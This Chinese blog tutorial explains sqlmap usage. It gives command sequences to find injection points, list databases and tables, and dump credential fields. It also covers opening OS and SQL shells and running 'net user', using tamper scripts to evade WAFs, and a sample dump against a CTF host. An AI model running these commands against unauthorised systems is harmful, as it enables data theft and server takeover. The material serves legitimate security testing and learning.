sqlmap 使用注意事项

本文详细介绍如何使用SQLMap检测和利用SQL注入漏洞,包括环境搭建、基本命令、参数详解及实战步骤,助您快速掌握SQLMap的使用技巧。

注意事项:

sqlmap运行需要搭建python环境。也有无环境的安装包
sqlmap只是用来检测和利用sql注入点的,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点。
sqlmap命令区分大小写

一、使用sqlmap
sqlmap的命令一般都是通用的,只有极少数命令是针对个别数据库的。

第一步:判断啊是否是注入点
sqlmap.py -u “url”
使用 -u参数指定url,如果url存在注入点,将会显示出web容器、数据库版本信息

第二步:获取所有数据库名
sqlmap.py -u “url” --dbs
使用-dbs读取数据库

第三步:查看当前应用程序所用数据库
sqlmap.py -u “url” --current-db
使用 --current-db参数列出当前应用程序所使用的数据库

第四步:列出制定数据库的所有表
sqlmap.py -u “url” --table -D “bbs”
使用–table参数获取数据库表,-D参数指定数据库

第五步:读取指定表中的字段名称
sqlmap.py -u “url” --columns -T “User” -D “bbs”
使用–columns参数列取字段名

第六步:获取指定字段内容
sqlmap.py -u “url” --dump -C “UserName,passWord,Email” -T “[User]” -D “bbs”
–dump 转存数据
-C参数指定字段名称
-T指定表名【因为user属于数据库关键字,所以建议加上【】】
-D指定数据库名称
读取完数据以后,sqlmap会把读取的数据转存到sqlmap/output目录下,文件以“Table.cvs”
保存
通过以上六个步骤,sqlmap可以轻松地对存在注入漏洞的 URL读取数据

二、sqlmap参数 例举了一些常用参数

(1)测试注入点权限
sqlmap.py -u [URL] – privileges //测试所有用户的权限
sqlmap.py -u [URL] – privileges -U sa //测试sa用户权限

(2)执行shell命令
sqlmap.py -u [URL] --os-cmd=“net user” //执行net user命令
sqlmap.py -u [URL] --os-shell //系统交互的shell

(3)获取当前数据库名称
sqlmap.py -u [URL] --current-db

(4)执行sql命令
sqlmap.py -u [URL] --sql-shell //返回sql交互的shell,可以执行sql语句
sqlmap.py -u [URL] --sql-query=“sql”

(5)POST提交方式
sqlmap.py -u [URL] --data “POST参数”

(6)显示详细的等级
sqlmap.py -u [URL] --dbs -v 1

-v参数有以下7个等级
0、只显示python错误以及严重的信息。

1、同时显示基本信息和警告信息。(默认)

2、同时显示debug信息。

3、同时显示注入的payload。

4、同时显示HTTP请求。

5、同时显示HTTP响应头。

6、同时显示HTTP响应页面。

如果你想看到sqlmap发送的测试payload最好的等级就是3。
(7)注入HTTP请求
sqlmap.py -r head.txt --dbs //head.txt 内容为HTTP请求
(8)注入等级
sqlmap.py -u [URL] --level 3
(9)将注入语句插到指定位置
sqlmap.py -u “http://www.xxx.com/id/2*.html” --dbs
有些网站采用了伪静态页面,这时再使用sqlmap注入是无能为力的,因为sqlmap无法识别哪里是对服务器提交的请求参数,所以sqlmap提供了“*”参数,将sql语句插入到指定位置,这一用法常用于伪静态注入。
(10)使用sqlmap插件
sqlmap.py -u [URL] -tamper “space2morehash.py”
sqlmap自带了很多插件,可针对注入的sql语句进行编码等操作,插件都保存在sqlmap目录下的tamper文件夹中,这些插件通常用来绕过waf

更详细的参数参照 sqlmap.py -hh

### 如何在 Windows 环境下使用 Sqlmap #### 下载 Sqlmap 为了在 Windows 上运行 Sqlmap,首先需要下载其源码文件。通常可以从官方 GitHub 仓库获取最新版本的压缩包 `sqlmapproject-sqlmap-*.zip`[^1]。 #### 安装 Python Sqlmap 是基于 Python 的工具,因此需要先安装 Python 环境。推荐安装 Python 3.x 版本,并确保将其路径添加到系统的环境变量中以便全局调用[^2]。 #### 配置 Sqlmap 将下载好的 Sqlmap 压缩包解压至指定目录(例如 `E:\soft\home\sqlmap`),并将该目录重命名为更简洁的名字如 `sqlmap`。此操作有助于后续命令行中的快速定位和执行。 #### 创建快捷方式 虽然不是必需步骤,但可以创建一个指向 Sqlmap 主脚本 (`sqlmap.py`) 的桌面快捷方式来简化启动过程。右键点击目标位置新建链接即可完成设置。 #### 使用 Sqlmap 进行渗透测试 打开 CMD 终端进入存放 Sqlmap 文件夹的位置,通过如下样例指令发起扫描请求: ```bash python sqlmap.py -u "http://example.com/vulnerable_page?id=1" ``` 上述例子展示了针对 URL 参数注入漏洞检测的基础语法结构;其中 `-u` 后跟随的是待测 Web 应用接口地址。 以下是另一个具体实例展示如何利用 Sqlmap 对给定站点实施自动化 SQL 注入攻击分析: ```bash python sqlmap.py -u http://ad3b72b4-56a0-4aba-86f1-00c232c0d053.node5.buuoj.cn:81/backend/content_detail.php?id=2 --batch --dump ``` 这里增加了两个额外选项:`--batch` 表示无需人工干预自动处理所有提示,默认选择第一个可用方案;而 `--dump` 则用于导出数据库表数据。 ### 注意事项 - 在实际应用过程中,请严格遵守法律法规,在授权范围内合理合法地运用此类安全评估工具。 - 如果遇到权限不足或其他错误信息时,尝试以管理员身份重新开启命令提示符再试一次。
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值